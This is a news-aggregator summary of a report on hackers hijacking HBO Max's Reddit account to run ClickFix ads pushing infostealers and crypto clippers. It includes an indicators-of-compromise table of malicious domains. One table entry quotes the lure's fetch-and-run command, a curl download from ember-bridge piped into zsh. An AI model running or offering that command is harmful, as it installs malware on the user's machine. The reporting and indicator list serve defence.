Hackers hijack HBO Max Reddit account to push malware in ClickFix ads
Hackers hijacked HBO Max's verified Reddit account to run 108 ClickFix ads delivering infostealers and crypto clippers to Windows and macOS users.
Hudson Rock and ADAMnetworks linked the hijacked u/hbomax Reddit account to a campaign they call PasteSwitch, which ran 108 malicious ads over roughly 48 hours pushing sites like hbomaxx.us, codex-craft.com, and code-desktop.com. ClickFix social engineering tricks victims into pasting Base64-obfuscated shell or PowerShell commands into Terminal or Run, delivering MacSync, AMOS helper persistence, Amatera Stealer loaded in-memory, and the AnimateClipper and ZigClipper crypto clipboard hijackers. Windows chains used an MP3/HTA polyglot to create scheduled tasks, disable AMSI, and launch 32-bit PowerShell; fake Ledger, Trezor Suite, and Exodus wallet apps steal recovery phrases. Reddit admins paused the ads, and it remains unclear how the account was accessed.
- Verified u/hbomax Reddit account ran 108 malicious ads in 48 hours
- PasteSwitch ClickFix lures victims into pasting malicious commands themselves
- Payloads include MacSync, Amatera Stealer, AMOS helper, and crypto clippers
- Windows chain uses MP3/HTA polyglot, scheduled task, AMSI disable, in-memory shellcode
- Fake Ledger, Trezor, and Exodus apps steal wallet recovery phrases
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | clean-disk-guide.com | AI and developer site codex-craft[.]com, 15 promoting apple.clean-disk-guide[.]com, 11 pointing to code-desktop[.]com, and six promoting hbo |
| domain | code-desktop.com | , 15 promoting apple.clean-disk-guide[.]com, 11 pointing to code-desktop[.]com, and six promoting hbomax-macos[.]com. This allowed the a |
| domain | codex-craft.com | hbomaxx[.]app, 36 promoting the fake AI and developer site codex-craft[.]com, 15 promoting apple.clean-disk-guide[.]com, 11 pointing t |
| domain | ember-bridge.com | lowing command: export _watch_v2=97d9d8dc;curl -sL "https://ember-bridge[.]com/curl/a44a37519au/setup.sh"| zsh Hudson Rock noted ember-b |
| domain | hbomax-macos.com | .]com, 11 pointing to code-desktop[.]com, and six promoting hbomax-macos[.]com. This allowed the attackers to target a larger audience t |
| domain | hbomaxx.app | ddit account. The researchers identified 40 ads pointing to hbomaxx[.]app, 36 promoting the fake AI and developer site codex-craft[ |
| domain | hbomaxx.us | Max subreddits," warned the user . "The advert takes you to hbomaxx[.]us which looks somewhat legitimate, and has a join button / |
From the original article
4 min read at bleepingcomputer.com
Hackers compromised HBO Max's official Reddit account and used it to push malicious ads that launched ClickFix attacks to infect Windows and macOS devices with information-stealing malware. [...]
By Lawrence Abrams · bleepingcomputer.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.